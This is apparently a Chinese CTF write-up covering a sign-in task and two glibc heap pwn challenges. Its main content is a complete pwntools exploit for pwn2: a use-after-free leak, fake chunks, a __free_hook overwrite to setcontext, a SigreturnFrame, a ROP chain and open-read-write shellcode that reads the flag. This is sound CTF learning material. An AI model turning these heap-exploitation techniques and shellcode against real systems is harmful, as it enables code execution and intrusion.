签到
unhex然后base64 decode
pwn1
签到UAF题,libc-2.23.so下的利用,还有个off by one和后门,uaf就够了,后门也不知道怎么用 (赛后听师傅说爆破1/256 ???)
uaf打io泄露地址,realloc调栈帧,one_gadget一把梭,之前没调过,调了很久QAQ,太菜了
from pwn import * |
pwn2
漏洞是uaf,libc 版本是2.27-3ubuntu1.4,跟libc2.31机制差不多,有key,但是不用管,直接edit完事
有show功能,但是只能申请0x10-0x60大小的堆块,而且开了沙箱,堆部结构很乱,先是一顿整理堆结构然后一通overlap构造一个unsorted bin出来leak地址
由于开了沙箱,考虑__free_hook改为setcontext+53控制寄存器
setcontext所用的payload太长,0x60大小的chunk写不进去,就用了两块0x60大小的chunk和一块0x50大小的chunk来写,由于之前伪造了ub,如果不清空在后续malloc和free的时候可能会报各种错误,所以先清空一些必要的非法chunk,然后由于payload不能断,但是header会阻断payload,所以又是一顿overlap伪造出来三个假的chunk来覆盖header
然后就是orw shellcode一把梭from pwn import *
import sys
from six import indexbytes
arch = 64
challenge = "./pwn"
libc_path_local = "/glibc/x64/1.4_2.27/libc-2.27.so"
libc_path_remote = "./libc.so.6"
local = int(sys.argv[1])
elf = ELF(challenge)
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']
if local:
if libc_path_local:
io = process(challenge,env = {"LD_PRELOAD":libc_path_local})
libc = ELF(libc_path_local)
else:
io = process(challenge)
else:
io = remote("47.104.175.110", 61608)
if libc_path_remote:
libc = ELF(libc_path_remote)
if arch == 64:
context.arch = 'amd64'
elif arch == 32:
context.arch = 'i386'
def dbg():
context.log_level = 'debug'
def echo(content):
print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")
p = lambda : pause()
s = lambda x : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
sd = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
bps = []
pie = 0
def gdba():
if local == 0:
return 0
cmd ='set follow-fork-mode parent\n'
if pie:
base = int(os.popen("pmap {}|awk '{{print ./pwn}}'".format(io.pid)).readlines()[1],16)
cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps])
cmd +='set base={:#x}\n'.format(base)
else:
cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])
gdb.attach(io,cmd)
_add,_free,_edit,_show = 1,2,3,4
menu = ">>"
def add(idx, size):
sla(menu, str(_add))
sla("input index:", str(idx))
sla("input size:", str(size))
def edit(idx, content):
sla(menu, str(_edit))
sla("input index:", str(idx))
sa("input context:", content)
def free(idx):
sla(menu, str(_free))
sla("input index:", str(idx))
def show(idx):
sla(menu, str(_show))
sla("input index:", str(idx))
def poc():
edit(11, 0x60 * 'a')
edit(12, 0x50 * 'b')
edit(13, 0x60 * 'c')
def exp():
for i in range(7):
add(i, 0x60)
for i in range(11):
add(i, 0x60)
fake = p64(0) + p64(0x71) # Forge a fake header.
edit(0, fake)
free(2)
edit(2, 'a' * 8)
show(2)
ru('aaaaaaaa')
heap = uu64(io.recvuntil('\n', drop=True)[-6:])
fake_chunk = heap + 0xf70
echo('HEAP:' + hex(heap))
echo('FAKE_CHUNK:' + hex(fake_chunk))
edit(2, p64(0) * 2)
free(2)
edit(2, p64(fake_chunk) + p64(heap))
add(2, 0x60)
add(11, 0x60)
edit(11, 'a' * 0x50 + p64(0) + p64(0x421)) # fake ub
edit(10, (p64(0) + p64(0x21)) * (0x60 / 0x10))
free(1)
show(1)
leak = uu64(ru('\x7f')[-6:])
echo('LEAK:' + hex(leak))
libc_base = leak - 96 - 0x10 - libc.sym['__malloc_hook']
echo('LIBC BASE:' + hex(libc_base))
setcontext_door = libc_base + libc.sym['setcontext'] + 53
free_hook = libc_base + libc.sym['__free_hook']
syscall = libc_base + libc.search(asm("syscall\nret")).next()
echo('SYSCALL:' + hex(syscall))
#=========================setcontext===========================
fake_rsp = free_hook & 0xfffffffffffff000
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = fake_rsp
frame.rdx = 0x2000
frame.rsp = fake_rsp
frame.rip = syscall
echo(hex(len(str(frame))))
add(12, 0x60)
edit(12, (p64(0) + p64(0x71)) * (0x60 / 0x10))
free(12)
edit(12, p64(0) * 2)
free(12)
fake_chunk = heap + 0x1020
edit(12, p64(fake_chunk) + p64(heap))
add(12, 0x60)
add(13, 0x60) # fake chunk
for i in range(0x3b0 / 0x30 + 1):
add(1, 0x20)
# fake chunk: 13 11 12
echo('HACX SIG:' + hex(heap + 0xf50))
paylaod = str(frame)
edit(11, paylaod[0:0x60])
edit(12, paylaod[0x60:0x60 + 0x50])
edit(13, paylaod[0x60 + 0x50:].ljust(0x60, '\x00'))
# poc()
add(4, 0x60)
free(4)
edit(4, p64(0) * 2)
free(4)
edit(4, p64(free_hook) + p64(heap))
add(4, 0x60)
add(14, 0x60)
edit(14, p64(setcontext_door)) # __free_hook
free(11)
layout = [
libc_base+libc.search(asm("pop rdi\nret")).next(), #: pop rdi; ret;
free_hook & 0xfffffffffffff000,
libc_base+libc.search(asm("pop rsi\nret")).next(), #: pop rsi; ret;
0x2000,
libc_base+libc.search(asm("pop rdx\nret")).next(), #: pop rdx; ret;
7,
libc_base+libc.search(asm("pop rax\nret")).next(), #: pop rax; ret;
10,
syscall, #: syscall; ret;
libc_base+libc.search(asm("jmp rsp")).next(), #: jmp rsp;
]
shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
cmp eax, 0
js failed
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
jmp exit
failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall
exit:
xor edi, edi
mov eax, 231
syscall
''')
sl(flat(layout) + shellcode)
# gdba()
pass
exp()
ia()
太菜了,要好好学习